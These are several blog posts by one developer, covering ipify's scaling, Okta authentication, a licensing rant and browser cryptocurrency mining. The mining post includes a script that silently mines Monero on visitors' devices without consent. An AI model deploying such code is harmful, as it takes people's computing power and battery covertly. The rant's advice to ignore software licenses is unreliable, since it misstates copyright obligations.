It’s unfortunate that the EU Cookie Law is named like it is. The name of the law has confused tons of developers across the EU and is responsible for a lot of misinformation about compliance.

Please make sure that you do the following things if you’re an EU website owner running a service targeted at EU visitors:

Only store session information for your users in cookies (not local storage!) with the httpOnly and SameSite flags set
If you have any services on your website that collect non-essential user information (usually marketing and advertising tools) in any way (via local storage, an API, cookies, etc.) then you are required to display a cookie banner on your site

If you follow the two rules above, you’ll be OK.

To 30 Billion and Beyond

r@rdegges.com (Randall Degges) — Wed, 03 Jan 2018 00:00:00 -0800

Several years ago I created a free web service, ipify. ipify is a freely available, highly scalable ip address lookup service. When you query its REST API, it returns your public-facing IP address.

I created ipify because at the time I was building complex infrastructure management software and needed to dynamically discover the public IP address of some cloud instances without using any management APIs.

When I searched online for freely available reverse IP lookup services I didn’t find any suitable solutions:

There were websites I could attempt to scrape my IP from (but this is bad form, and would likely result in complaints from the host)
There were APIs for this that charged money (yuck!)
There were APIs that allowed you to do a limited number of lookups per day (which scared me as I was managing a lot of instances at the time)
There were APIs that appeared to be what I wanted, but upon using them they’d error out, go down randomly, or just otherwise not be of high quality. When I inspected the dig records of a particular provider, I noticed that the entire service was running on a single server (with an A record) that was terminating requests directly: not the most scalable/highly available service in the world.
There was an API service that looked somewhat OK but was trying to raise money via donations to stay alive. Integrating with an API service on the brink of death didn’t make me feel terribly comfortable.

Because of all these reasons I figured I’d just throw a small service together myself and solve the problem for as many people as possible. After all: writing software to return a single string isn’t terribly hard: why shouldn’t I do it?

I assumed that worst case I’d spend $30 bucks or so per month and treat it as a public service.

ipify v0

The first iteration of ipify was quite simple. I wrote an extremely tiny (< 50 LOC) API service in Node (I was playing around with Node a lot at the time). Since the entire premise of the ipify service is returning a string, I figured this was a perfect use case for Node as a technology: handling a lot of requests with minimal CPU usage.

After I had the API service built in Node, I threw together a simple static site to power the front-end and deployed it into an S3 bucket on Amazon. I then configured a CloudFront origin (Amazon’s CDN service) to sit in front of the S3 bucket and cache the pages for ultra-fast load times.

Now, I’m not a designer by any stretch of the imagination… But, with a little bootstrap love things turned out half-decent =)

After getting everything working I did some quick testing and things seemed to be working ok so I moved onto the next phase: deployment.

Enter Heroku

I’m a big fan of Heroku (I’ve even written a book about it). I’ve been using it for many years now and consider it to be one of the most underrated services in the developer world. If you’ve never used it, go check it out!

I decided that if I wanted to run ipify in a scalable, highly available and cheap way then Heroku was the simplest and best option: so that’s what I went with.

I deployed ipify to Heroku in a minute or two, ran it on a single dyno (web server), and did some limited testing. Things again seemed to be working well and I was feeling pretty happy with myself.

If you aren’t familiar with Heroku, let me explain how ipify’s infrastructure was working:

Heroku ran my ipify web service on a small dyno (web server) with 512M RAM and limited CPU
If my process crashed or had any critical issues, Heroku would automatically restart it for me
Heroku ran a load balancer that accepted all incoming requests for my app and forwarded them to my dyno (web server) to process the request

This is a nice setup because:

Everything is highly available: Heroku’s load balancers, my dyno, everything
It requires no maintenance, configuration management, or any sort of deployment code. It’s 100% automated.
It’s cheap: I paid ~$7/mo to run this single web server
It’s fast: Heroku runs on top of Amazon Web Services (AWS), so my infrastructure was running in one of the most popular cloud hosted destinations in the world: AWS us-east (Virginia). This means it is geographically running on the east coast of the US: just across the water from Europe, and not terribly far from the rest of the continental US. This means users from most parts of the world wouldn’t have to make an enormous hop to reach the service.

At this point, I was feeling pretty good. This took < 1 day’s worth of work to build, setup, test, and move into production.

I then integrated ipify into my own infrastructure management code to solve the problem I had initially needed to resolve.

Things were going great for about a month before I started noticing some issues…

Popularity… Ugh

I never marketed ipify, but it ended up ranking really high for the “ip address api” search phrase on Google. I guess all those years working on copy editing and SEO paid off.

Within a month or so, ipify was ranking near the top of Google search results, bringing in thousands of new users. With the increased visibility of the service, I started seeing some issues.

My Heroku load balancer was firing off warnings because my Node server wasn’t servicing incoming requests quickly enough. What ended up happening was:

Too many users would make API requests to ipify
My Node server would start responding to requests slowly so latency would rise
The Heroku load balancer would notice this and start buffering requests before sending them onto my Node server
Because my Node server wasn’t servicing requests quickly enough, my load balancer would return a 503 to the user and the request would die off

Not a pretty picture.

So what I did was simple: I added another Heroku dyno. This way, I’d have twice the capacity and things would run smoothly again. The downside is that running two “production” dynos on Heroku spiked my cost up to $50. Once you’ve gone past one dyno, you have to pay normal rates: $25/mo/dyno.

I figured that by now the service had likely capped out in popularity and I was OK paying $50/mo, so I’d just do that and things would go back to normal.

But… Things didn’t quite work out that way.

Before even a week had passed, I was already getting alerts from Heroku telling me that I was having the same issue as before. When I looked at my stats, I could see that my traffic had doubled, and again it appeared like ipify was just simply getting too much usage.

I added another dyno (brining my monthly cost up to ~$75/mo), but decided to investigate further. I’m a frugal guy – the idea of losing > $50/mo seemed unpleasant.

The Investigation

When I started investigating what was going on, the first thing I did was check to see how many requests per second (rps) ipify was actually getting. I was pretty surprised by the number: it was low.

If my memory serves me correctly, ipify was only getting around 10 rps at the time. When I saw how small the number was, I figured something bad must be happening in my code. If I can’t service 10 rps across two small web servers, I must be doing something horribly wrong.

The first thing I noticed was that I was running a single Node process. This was an easy fix: I started using the Node cluster module, and bam: I was immediately running one process for each CPU core. This effectively doubled my throughput on my Heroku dynos.

But 20 rps still seemed like a tiny number so I did some more digging. Instead of doing load testing on Heroku, I did some load testing locally on my laptop.

My laptop was far stronger than a small 512M RAM Heroku dyno, so I figured I should see much better throughput.

I did some testing using the ab tool and was surprised to see that even on my laptop I was unable to surpass a threshold of 30 rps from my Node processes (I run Linux on my laptop and ab works effectively there). I then did some basic profiling and found that Node was spending a lot of time performing basic string manipulation operations (to extract the IP address from the X-Forwarded-For header and clean it up). No matter what I experimented with, I was unable to boost throughput up much above that limit.

At this point, the production ipify service was able to serve roughly 20 RPS across two dynos. ipify was in total serving ~52 million requests/mo. Not impressive.

I decided to rewrite the service in Go (which I started using a few months before) for performance purposes to see whether or not I could get more throughput out of an equivalent Go server.

ipify v1

Rewriting ipify in Go was a short (but fun) experiment.

It gave me the opportunity to mess around with many different Go routing stacks: Gorilla/mux, Martini, and httprouter. After benchmarking and playing around with all three routing tools, I ended up using httprouter as it performed significantly better than the other two more popular options.

On my laptop I was able to achieve ~2,500 requests/second from my Go server. A massive improvement. The memory footprint was also much lower and hovered around 5M.

With my new found love for Go, I immediately took action and deployed my new Go-based ipify service on Heroku.

The results were fantastic. I was able to get about ~2k RPS of throughput from a single dyno! This brought my hosting back down to $25/mo and my total throughput to ~5.2 billion requests/mo.

Several days later, while talking to a more experienced Go developer, I ended up rewriting some of my string handling functionality which netted me an extra ~1k RPS of throughput. I At this point I was able to sustain ~7.7 billion requests/mo per dyno (give or take a bit).

I was thrilled to say the least.

More Popularity

Although I was able to cut back my hosting cost down to a reasonable range for a short period of time, within roughly two months ipify started experiencing issues once more.

It’s growth had continued to rise at an astounding rate. Around this time I had set up Google Alerts for ipify, so that I’d know when people mentioned it.

I started getting notifications that more and more people started using ipify in their personal and work projects. I then began receiving email from companies asking if they can embed it in their products (including a large smart TV provider, numerous media agencies, IoT vendors, etc.).

Before I knew it ipify was servicing around 15 billion requests/mo and I was now back to spending $50/mo on hosting costs.

But that too didn’t last for long.

I noticed rather quickly that ipify’s traffic continued to rapidly increase. There was a period of several months where it would add an additional billion requests each month.

I also started having issues with burst traffic – ipify would receive massive amounts of burst traffic for a short period of time that would die off quickly. I presumed this traffic was part of bootstrapping scripts, cron jobs, and other similar timed operations.

I later discovered through user notifications that antivirus vendors started blocking ipify because it started getting used in root kits, viruses, and other nasty pieces of software. Attackers would use ipify to get the victim’s public IP address before firing it off to a central location to be used for malicious purposes. I suppose this sort of usage was responsible for a large amount of that burst traffic.

While I’m not a fan of helping VX authors or spending money to assist them, I made the decision to keep ipify running neutrally to serve anyone who wants to use it. I’ve never been a fan of developer services that pick and choose what people use them for. I like to keep things simple.

Which left me to deal with the burst traffic problem. Dealing with burst traffic was tricky because I primarily had two choices:

Run additional dynos at a cost to myself and be always prepared for burst traffic, or
Use an auto scaling tool like Adept to automatically create and destroy dynos based on traffic patterns on my behalf

I eventually decided to manually involve myself and go with option #1, simply because I didn’t want to spend any additional funds on Adept’s service (even though I’ve used it before, and it is fantastic). Around this time I was spending $150/mo and ipify was servicing ~25 billion requests/mo.

Which brings us to the recent past.

ipify Hits 30 Billion Requests

Over the past few months, ipify has hit a new record and surpassed 30 billion requests/mo on several occasions. It was an exciting milestone to surpass and something that has been fun to watch.

Today, ipify routinely serves between 2k and 20k RPS (which is almost never consistent). Traffic is always variable and the usage is so routinely high that I’ve completely given up on trying to detect traffic patterns in any meaningful way. Average response time ranges between 1 and 20ms depending on traffic patterns.

Today the service runs for between $150/mo and $200/mo depending on burst traffic and other factors. If I factor that into my calculator (assuming a $200/mo spend), it looks as if ipify is able to service each request for total cost of $0.000000007. That’s astoundingly low.

If you compare that to the expected cost of running the same service on something like Lambda, ipify would rack up a total bill of: $1,243.582/mo (compute) + $6,000/mo (requests) = ~$7,243.58. As a quick note, this is some back-of-a-napkin math. I plugged ipify’s numbers into a Lambda pricing example from the AWS website here: https://aws.amazon.com/lambda/pricing/.

All in all, I’m extremely satisfied with ipify’s cost. It’s a frugal service that serves a simple purpose.

ipify’s Future

Which leads me to the future. As ipify continues to grow, the service has gotten requests for a lot of different things: ipv6 support (something that Heroku does not support :(), better web design, other metadata about IP addresses, etc.

As I’m incredibly busy with other projects nowadays, I ended up passing ownership of ipify along to my good friends at https://www.whoisxmlapi.com.

Jonathan and team are good people working to build a portfolio of valuable and interesting developer API services.

While I still help out with things from time-to-time, Jonathan and team are currently implementing new features for ipify, and working hard to roll out some pretty cool changes that I’m excited about (including an improved UI and more data endpoint).

I look forward to seeing how ipify continues to grow over the coming years.

If you have any questions or would like to get in touch with me, please shoot me an email.

-R

How to Monetize Your Website with Cryptocurrency Mining

r@rdegges.com (Randall Degges) — Sun, 10 Dec 2017 00:00:00 -0800

I’m a big fan of cryptocurrencies and blockchain technologies. They have a number of interesting applications, one of which I’ll be discussing today: monetizing your websites.

Developing and running a successful website can be really challenging. If your website doesn’t directly charge users for a service, making money to cover your expenses (and potentially turn a profit) can be nearly impossible.

Advertising is Dying

Integrating with an ad network like Google Adsense and showing display ads on your site is a losing game: people hate ads and go to extreme lengths to block and ignore them. I’ve been using ad blockers since 2006 and haven’t seen a single web ad in over 11 years. Recent studies estimate 11% of the global population uses an ad blocker, and that number is likely far greater for younger generations and people in North America.

Since advertising is a undisputedly dying as an industry, there are only a couple of options you (as a website owner) can take to monetize your website in a future-proof way:

Ask your visitors to donate to your website to keep it alive. There are numerous ways to do this. Wikipedia shows a banner across their site whenever they need to raise money asking users to donate a few bucks to keep the site running. Patreon is another popular option: ask your users to pay you a small monthly fee to get extra content on your site.
Charge your users money to use your website. This is the most straightforward approach, but also one of the hardest. Are your users willing to pay for what you provide?
Mine cryptocurrencies in the user’s browser

Mining Cryptocurrency for Profit

NOTE: Click the play button above. You may need to disable your adblocker. It will allow you to mine cryptocurrency as you read this article. Neat right?

Mining cryptocurrency in the browser is a relatively new strategy to monetize websites. It’s theoretically workable, but extremely inefficient:

Most cryptocurrencies require a lot of computing power to perform the necessary hash functions to “mine” cryptocurrencies
Running cryptocurrency mining software in a user’s browser (via JavaScript) is inefficient: JavaScript is a slow interpreted language. Running CPU intensive code inside of the browser’s engine is also slow and error prone.

There is, however, one way to efficiently mine cryptocurrency in a user’s browser: Monero. Monero is a cryptocurrency designed for anonymity. Transactions are anonymous and untraceable (unlike Bitcoin).

The main reason why Monero can effectively be mined from within a browser is due to the hashing algorithm that powers Monero transactions: CryptoNight.

The CryptoNight hashing algorithm is designed to run effectively on consumer grade CPUs (this means normal desktop and laptop computers) while running inefficiently on stronger CPUs and GPUs (which are traditionally required to process large volumes of cryptocurrency transactions).

What this means is that Monero can be mined effectively from the computer you’re using to read this article. Because of this, there is very little incentive for investors to go spend millions of dollars on expensive computing equipment and mine all of the Monero transactions (this is what has happened to Bitcoin and Ethereum in recent years).

This levels the playing field, making it possible for you to effectively allow users viewing your website to mine Monero for you via their browser.

Mining Monero

So, how exactly can you get your users to mine Monero coins for you? The short answer is coinhive. coinhive is an API service that allows you to embed a Monero miner into a user’s browser, which will mine coins and earn money for you.

The way coinhive makes money is by keeping 30% of the Monero earned by your miners. The remaining 70% is paid out to you directly in Monero.

If you have Monero, how can you cash it in for USD? In the same exact way you’d cash Bitcoin in for USD: an exchange.

Currently, Coinbase is the most popular Bitcoin exchange around. It allows you to purchase Bitcoin, sell Bitcoin, etc. The going price for Bitcoin as I write this article is nearly $14,000 per coin.

Monero is not nearly as mainstream. There are a number of Monero exchanges you can use, none of which have monopolized the space. You can find a list of all the current Monero exchanges here. As I write this article, the price of a single Monero coin is $230.

If you were to run a website today that has around 10 - 20 active users mining Monero, you could reasonably expect to earn 0.3 Monero per month: roughly $69. If your website contains content that keeps users engaged for long periods of time: mining Monero may be a viable strategy for monetizing your site.

How to Mine Monero in the Browser

Now that we’ve covered the basics, let’s take a look at how you can actually start mining Monero in the browser.

The first thing you’ll need to do is create a coinhive account, which you can do here.

Once you’ve created your account, you’ll want to visit the Sites page. This page allows you to create new API key pairs for each website you plan to mine on.

If you want to run this Monero mining code on multiple websites, you would create multiple sites here and give each a unique name. This will allow you to see how much each website has earned over time.

Now that you know how this works, go ahead and give your default API key pair a name. It’s best to name it using the full URL of the domain you plan to run the code on. Here’s what my screen looks like:

NOTE: Whatever you do: don’t share your private key. Keep it private.

Next, you’ve got to embed the mining Javascript code into your web pages. You have two primary ways to do this:

The nice way
The not-so-nice way

If you opt for strategy #1, you’ll want to embed the following JavaScript code into your site:

<script src="https://authedmine.com/lib/authedmine.min.js"></script>
<script>
 var miner = new CoinHive.Anonymous('YOUR_PUBLIC_KEY');
 miner.start();
</script>

When the page loads, your users will be greeted by this opt-in screen:

This lets the user opt-in to what you’re asking them to do.

Now, if you want to go for option #2 (which I’m not recommending), what you’ll want to do is the exact same thing as above with one minor change: link to a different source file.

<script src="https://coinhive.com/lib/coinhive.min.js"></script>
<script>
 var miner = new CoinHive.Anonymous('YOUR_PUBLIC_KEY');
 miner.start();
</script>

This will let start silently mining Monero as soon the as the script is loaded, without signaling anything to the user.

Measuring Your Results

Now that you’ve got your users mining Monero for you, you’ll want to see how much Monero you’re actually earning.

To do this, you’ll want to go check out your coinhive dashboard and take a look at your stats:

Not bad, right? In just a few minutes you are able to monetize any free website!

Things to Consider

Before you run off and embed Monero mining software in all your websites, there are a few things you should think about.

First off: I was partially lying to you earlier. While it’s true that the online ad industry is dying because people hate ads, running a Monero miner in the browser won’t save you from those of us who use adblockers.

I use the fantastic uBlock Origin Chrome extension and it blocks cryptocurrency miners like this one by default. So if you’re trying to monetize a website via mining to recoup losses from adblockers, this won’t help you. Instead: this is simply an alternative way to monetize your free users.

While I have no evidence to back this up, I strongly suspect that users might be more open to letting you borrow some of their CPU power than showing them annoying and obnoxious display ads.

Finally: be careful what you do with this. If you choose to start running mining software on a user’s computer without their consent, you’ll drain their device’s battery faster, potentially make their device “lag”, etc. It’s just not a nice thing to do.

So, as always, don’t be a jerk.

Got a question? Hit me up.

-Randall

Authentication Still Sucks

r@rdegges.com (Randall Degges) — Tue, 29 Aug 2017 00:00:00 -0700

I currently own 47 domain names. I know it sounds like a lot, but that’s down quite a bit from my all-time high of 78 ~two years ago.

I’m constantly thinking about fun websites and businesses to build; I can’t help it. For the last ten years or so, I’ve probably acquired around ten domains per year as a way to satisfy my never-ending need to build silly things.

My most shameless domain name purchase (as my wife will gladly tell you) was back in ~2010 when I purchased the subtly named “checkonoldpeople.com”. At the time, it was around 4am and I was hyped up on Rockstar (no-carb) energy drinks. I thought I had a revolutionary idea: a simple website that would call your aging parents for you automatically (using Twilio’s API) once per day, prompting them to press “1” if they were still alive. Tactful, I know.

I wish I could tell you I didn’t spend the next two days building out the service; but I won’t lie to you: I did.

Several years ago I was scrolling through a credit card statement and couldn’t help but gulp when I saw my yearly domain renewal bill. I think seeing the numbers there in that black-and-white PDF are what put really my insanity into perspective for me. After that experience I was finally able to let several dozen expire (including “checkonoldpeople.com”).

Most of the projects I start building are motivated by some small online void. Here’s how it happens:

I’m working on a real-world project trying to figure something out
I come across a solution and start implementing it
Once I’m done implementing it, I wonder why it was so hard to figure it out in the first place
This is where I immediately start thinking of project names, buy a domain name, and spend a minimum of one full night locked away hacking on the idea

It’s a vicious cycle.

The funny part of the whole thing is that 99% of these projects never see the light of day. 99% of them never have a single user (other than myself). You might think someone who is that driven and motivated would surely launch more than a few websites after so many years of building things: but you’d be incorrect.

For the most part, once I’ve found a reasonable working solution to my problem and built out the core functionality of the service, I struggle to finish the “other stuff” that makes projects and businesses successful:

Allowing users to sign up for the service
Building a polished website
Handling billing (for paid services)
Covering all odd edge-cases that a user might run into (404 pages, mobile design, etc.)

My typical workflow (as a backend developer) is to get the core functionality working, then refactor relentlessly until it meets my personal quality standards. After that’s done, I’ll start working on the customer facing website.

This is where I run into problems. Every. Single. Time.

After I throw together a basic bootstrap template, I choke when designing the user flows:

User registration
User login
Password reset
User permissions

You know: authentication and authorization.

It’s something that “sounds” so easy to do, but always ends up frustrating me in every possible way. I’m surprised more people in the software world don’t complain about it.

If something so fundamental and so critically important to almost every single website was as incredibly hard to implement and figure out as authentication, you can bet your ass there’d be half-a-million r/programming and Hacker News threads about it in a heartbeat.

If you woke up tomorrow and discovered that something as simple as implementing a contact page on your website took more than 40 hours to implement, you’d probably freak out.

“What is going on?! Why is this so hard? I thought this only took a minute. FUCK!”

That’s the way I’ve been feeling about authentication for the last 15 years or so. Over all the time I’ve spent programming, authentication and authorization are still as complex as ever. Maybe even moreso.

Back in the day, the only sort of authentication you really had to worry about as a developer was simple username/password authentication to a webpage. The idea was relatively simple:

A user will send you their username/password
You hash the user’s password (to keep it safe), and store it in a database
When the user logs in, you compare their username/password with the username and hashed password in the database to log them in

While you still had to worry about things like database security, SSL, password hashing, etc. – the concept was at least easy to grasp and understand.

Nowadays things are significantly more complicated. For any given project you might need to authenticate:

A user to a simple server-side web page
A user to a client-side web page
A user to a third party provider (like Facebook, Google, etc.)
A program to an API

Each form of authentication requires different trade-offs, and potentially costly decisions.

Logging a user into a traditional server-side web page is mostly a solved problem. Web frameworks support secure user sessions, user serialization, and lots more. Depending on the programming language/web framework you’re using, however, you might be in for a lot of work. Not every language/framework is created equal.

If you’re a Node.js developer, for instance, you’ll likely find that trying to authenticate a user into even the most simple web application can become a painful experience in low-level security concepts.

Most Node applications use the passport library to handle authentication, and end up:

Setting up and configuring their own session support
Hashing their own user passwords
Writing their own user serialization/deserialization logic
And lots more

It seems insane to me that in 2017, if I want to build even a simple website that supports user registration and login, I’m still required to know and understand low level authentication concepts as well as implement these concepts in a secure and reliable way to protect the most critical data in my application: my users’ personal information.

And that may not sound like a lot of work at first: I’m certainly guilty of thinking that. There have been many occasions where I’ve said to myself:

“Oh, that doesn’t sound so hard! I know a decent amount about security! I’ll set up my session library, I’ll use the bcrypt hashing algorithm, I’ll write my user serialization code. I can get that working in a few hours!”

But what happens when you start implementing everything and realize:

There are numerous options for session libraries, many of which support different configuration options, hashing algorithms, and encryption options – which one is the right choice?
Your choice of hashing algorithm will need to be set to the correct “work factors” to prevent brute force attacks with current hardware constraints, and that in a year or two this algorithm will need to be upgraded transparently to prevent security issues?
Your user model changes and breaks your serialization code, so you then need to modify it?
You realize you need to implement password reset functionality, so you plug in an email API provider like Mailgun, create your templates, and write the logic to securely enabled password reset?
You realize you need to support login via other mechanisms than just plain old username/password, so you start plugging in Facebook login, Google login, etc., each of which takes a reasonable amount of effort to get started and maintain over time?
You realize you need to also authenticate users to your mobile app, and begin researching OAuth2 and OpenID Connect, looking for solutions that allow you to run a secure OAuth2 server, while at the same time making it easy to authenticate users to this new server?
Etc… I could endlessly list all the authentication issues I’ve ran into.

And that doesn’t even begin to cover the massive surface area that authorization covers – namely, how do you assign user permissions, groups, and roles in an efficient and secure way? How do you segment user data into different “tenants” to keep customer information logically (or physically) isolated?

What I’m getting at is this: almost every time I sit down to build the authentication and authorization piece of my websites, mobile apps, and API services, I get overwhelmed.

Even when I’m building projects using a “complete” framework like Django that gets me 90% of the way, I still have a number of concerns to worry about:

How do I expose my users to other services in my backend?
How do I handle “user flows” like requiring a user to click an email link to verify their account? Or reset their password?
How do I handle multi-factor authentication across a variety of channels? Yubikey? SMS? Google Authenticator? Etc.?
How do I enable single sign-on for my users into other applications?
How do I enable single sign-on for other application users into my application?

And the list goes on and on.

It doesn’t matter what programming language I use – the experience is more or less the same: I (as a developer) am expected to implement a ton of redundant logic that is mission-critical, deals with highly sensitive information, and can result in massive business losses if I screw it up.

I think that is unreasonable.

And that is why, almost four years ago now, I joined a tiny company called Stormpath.

At the time, I had just spent a year building and maintaining my own authentication API service internally for a company project, and had learned a ton about modern web security along the way. I really enjoyed working on it, and web security quickly became one of my favorite subjects.

When I ran into the Stormpath founders at a tech conference in SF, I initially thought they were a weather company – but what they told me was much more interesting than the weather: they were building the first developer focused authentication-as-a-service company.

I was floored.

I thought about my past experiences building this stuff myself, and how much I learned and struggled along the way. I thought about how much time and effort I’d put into authentication and authorization problems, and how much I underestimated them. After just a single conversation, I knew I had to get involved.

I reached out to the Stormpath team and told them why I’d be a good addition, and why I needed to join the crusade.

Before I knew it I was spending my days building open source security software. I was having a blast! As we continued to iterate on the Stormpath core API service, the developer libraries, and everything else that makes a developer service great (docs, tools, support, etc.), we started to see some real traction!

Developers enjoyed using our service. When they plugged our Flask library into their Flask web apps, it solved almost all of their authentication problems.

Things weren’t perfect, of course, but I was really proud of the tools we made, and was proud that our service allowed us to simplify authentication and authorization issues for so many developers around the world.

Now, for the sad part of the story.

Back in February of this year, Stormpath (the API service I had spent years of my life caring for and nurturing) was acquired. Everyone on the team was unsure of whether this was a good or bad thing.

When we joined forces with Okta, we were nervous. Okta acquired us to help build our initial Stormpath vision into a much larger and more scalable company, but most of us were afraid (at least I was).

I was afraid that we’d have to start over from scratch, and try to rebuild the great technology we already had. I was afraid that we’d ruin the goodwill we’d built with developers worldwide over the past few years, and burn our bridges. And more than anything: I was afraid that we’d lose the ability to build something truly magnificent: an authentication and authorization API service that is built FOR developers BY developers.

Since the acquisition, we’ve all gone through a lot.

We’ve made good decisions and bad. We’ve struggled to build and rebuild tools, libraries, documentation, and more. But through all the sleepless nights we’ve put in over the last six months, we’ve never compromised on one thing: the original vision.

This is why I’m genuinely excited to announce that today, we’re officially re-launching the new and improved Okta Identity Platform.

Everything has been molded to our vision, and we’re aiming to do something we could not before: build the world’s largest authentication-as-a-service platform for developers of all shapes and sizes.

The new Okta Identity Platform is our attempt to make authentication and authorization problems a relic of the past. We want to provide beautiful developer libraries across every programming language and framework to make adding things like…

User registration
User login
Password reset
Social login
Single Sign-On
API authentication
And lots more

…a thoughtless five minute task.

Okta handles things like user credential storage, password hashing, data isolation, best practices, etc. If you use one of our new developer libraries, we’ll do our very best to solve all your user management problems.

While the Okta service isn’t perfect, and certainly has some rough edges, it’s something we’re all incredibly passionate about, and working hard every single day to improve. It will get better.

So today, it’s exciting to start fresh. I’m happy to have a second chance to build something that I love and care about.

For me, this is personal. I’m still working on fun side projects, and I’m still struggling through authentication problems. I won’t be satisfied until Okta fills the void that exists in the web world right now, and provides the absolute best platform for developers of all different types to scratch their user management itch.

This means we’re building the service to cater to actual developers of all types: students, hobbyists, 10pm - 4am hackers (like myself), startups, and even large enterprises. We’re aiming to build an extremely low-cost, usage-based service that anyone can use without the need to commit to expensive plans and upsells. We want to make something that WE would want to use in our next passion project.

For applications with fewer than 1,000 active monthly users, this means the service will be absolutely free. For applications with more active users than that, we’ve got inexpensive usage-based plans.

I think it’s time for authentication to no longer suck.

I’m happy to say that myself (and the rest of the former Stormpath team) will still be working on what we love most, and doing our absolute best to build something that we hope you will love as well.

Anyhow, thanks for hearing me out. If you’re interested in trying out the new Okta Identity Platform that I’ve been working on with the rest of the team, please sign up today and hit me up if you’ve got questions, comments, or feedback.

Finally, if you’d like to follow along with the Okta journey, we’re doing everything we can as transparently and publicly as possible. We’ve recently started writing on the Okta developer blog, and tweeting through our Okta Developer account. If you’re interested in seeing what it takes to launch a service like this, and how we’re improving things, you may find those interesting!

Too Busy

r@rdegges.com (Randall Degges) — Fri, 31 Mar 2017 00:00:00 -0700

For the last handful of years I’ve been too busy to do a lot of things. Too busy to launch new products on my free time, too busy to go on trips for fun, and too busy to spend time with family and friends.

I’ve spent the better part of the last few years working on company projects, trying to leave a lasting impression with my work. While this has been moderately successful, it’s also been a bit of a personal disappointment. I try to hold myself to a high standard, and over the last few years I’ve consistently fallen short of my personal goals.

While helping make the company I work for successful is fun, it isn’t who I am. I don’t want my identity to be a corporation. I want my identity to be ME: a person that has unique interests, talents, and ideas. I want people to know me for being Randall the person, not Randall the <insert job title here>.

At the end of the day, everyone decides what legacy they leave behind. I want to be remembered for all the things that make me special, not just my job.

Hitting Home

I was having lunch with a good friend several weeks ago, and the topic of hobby projects came up. I was lamenting to him that I’ve got all these cool projects I haven’t finished because I’ve been too busy with work and other things to spend any time on them.

As soon as I mumbled through my weak explanation, it instantly clicked for me how pathetic of an excuse that is. Too busy? Really?! How on earth is it possible that I’ve put aside the things I enjoy most in my life and de-prioritized them to a point where I feel guilty even talking about them?

It was a definite moment of clarity for me.

Prioritizing Your Goals

When you hear other people tell you to prioritize your goals, it sounds like such a simple concept. I’ve tried to convince myself countless times over the last few years that I’m making progress in different areas of my life, but each time I knew in the back of my mind that it simply wasn’t true.

There’s a huge difference between thinking about your goals and actually pursuing them. Actually pursuing your goals is incredibly hard work. It takes a lot of discipline to sit down, write a detailed plan for yourself, and make decisions every single day that move you in the right direction.

For the last several years, I’ve just been going with the flow: mindlessly moving along through life, reacting to disasters when they arise, and generally being pushed in one direction or another.

This weekend while I’m taking a break from everything to spend some time with family (it’s my 7 year wedding anniversary!), I’m dedicating a lot of time to revisiting all my goals and aspirations, and making clear plans to keep myself feeling good and moving in the right direction.

If you’re also finding yourself too busy for the things you love, take a closer look at yourself – are you really too busy, or are you just prioritizing the wrong things?

I Don't Give a Shit About Licensing

r@rdegges.com (Randall Degges) — Thu, 14 Jul 2016 00:00:00 -0700

Every now and then I’m reminded of just how much I hate software licensing. Instead of doing what I normally do and silently complaining to myself, I figured I’d mix things up a bit and write a good old fashioned rant >:)

A few days ago I got an email from a developer working at some enormous corporation:

Hi Randall,

I am trying to use your flask-dynamo project at <big corporation here>. Can you please tell me what license this code is written under? I need to send it to the legal department before I can use it.

Please advise.

I’ve changed the wording slightly here, but hopefully you get the idea.

Now… This is a perfectly valid question. This guy works for some big company that has very strict policies, and needs to know whether or not my code can be LEGALLY used at his workplace.

That’s all fine and dandy, except for one thing: I simply don’t care about licensing. If you told me I had to choose between picking up dog shit all day or having another conversation about software licensing, I’d happily go pick up dog shit. That’s how much I hate licensing.

I find the whole discussion around software licensing to be completely pointless. It’s one of the stupidest, most awful, and most incredibly redundant conversations in the entire tech world. And why is that? Well…

It’s redundant because it just DOESN’T FUCKING MATTER. If you can already find or view my code, then guess what – you have the ability to use it! Whether I want you to or not, you can already view my code, so copying pieces of it (or the whole fucking thing) is totally possible.

Even if I decide to put a license on all my Github projects that says:

COPYRIGHT Randall Degges. Nobody else in the world is legally allowed to use this code or copy it in any way, shape, or form. Otherwise I’ll sue you.

It just doesn’t matter.

I simply refuse to believe this developer works at a company where his boss constantly reviews every single commit he makes, googling each line of code, checking to see where he might have copied it from, and whether or not it is legal.

NOTE: If you do work at a place like that: do yourself a favor and resign. There are so many places to work where you can leave an impact, get paid sufficiently well, and not be treated like a child.

As a developer, the very thought of having to ask permission to use a piece of code you can find freely online is insane. I mean, how many ways are there to do something, after all?

There’s really only a couple of ways to write a for loop, increment an integer, and store some data in a database. Everything else is just details.

The idea of having some public code that’s legally unusable is akin to a writer not being able to use a dictionary while writing. It just doesn’t make any sense at all.

I mean – I understand the other side of this too: you write some code and you don’t want anyone to use it! It’s your project, after all. You thought of it, you wrote it, and you can license it however you want to stop whoever you want from using it, right?

It sort of makes sense when viewed from that angle: if you’re the creator of something, you should have control over it!

But let’s get real for a minute: if you build something and you don’t want other people to use it, the solution is a lot simpler than licensing: just don’t fucking make it publicly accessible!

Spend some damn time ensuring your code is stored privately, and not easily accessible. Keep it on locked down servers, use Github Enterprise, or for fuck’s sake: just run your code as a service and charge people money to use it!

All of those are fine options.

But whatever you do, don’t bother publishing it online with a stupid license that tells other people they can’t use your code, because guess what: I’ll use your code. I’ll use it, and I won’t even bother to check the license. And I’m not the only one.

This is what makes the internet great. The ability to share information with anyone, instantly, without restriction. As developers, we should be on the absolute forefront of encouraging this sort of thing.

After all: everything we do is built on top of thousands of layers of abstraction of the programmers that came before us. It’s our job to contribute forward and ensure that the next generation of developers can build cool and powerful things in a simple way.

And the only way that will ever happen is if we all get our heads out of our asses, and stop acting like we own thoughts and ideas.

Programming is a creative endeavour. If you can’t stand the idea that something you spent time and energy creating and putting onto the public internet can be used by anyone else for free, then maybe this isn’t the right field for you.

Programming, by its very nature, is something that’s meant to be shared. The amount of complexity needed to build modern applications would not be possible without a tremendous amount of publicly accessible code.

Instead of viewing the code you write as “your property”, you should instead look at it as your child. When you create some code, you release it in the world, and hope that it grows up to be useful to other people in some way. You don’t keep it locked inside, and selfishly control all access to it.

It might bring you some happiness, some sorrow, and a lot of things in between: but it’s your ethical responsibility to let it out into the world and let it make its own mark.

The next time you decide to publish some open source software, I’d encourage you to seriously consider what software license you choose. If you’d like to ensure as many people as possible can use your code without restriction, then either:

Use a public domain license like UNLICENSE, or
Don’t include a license at all.

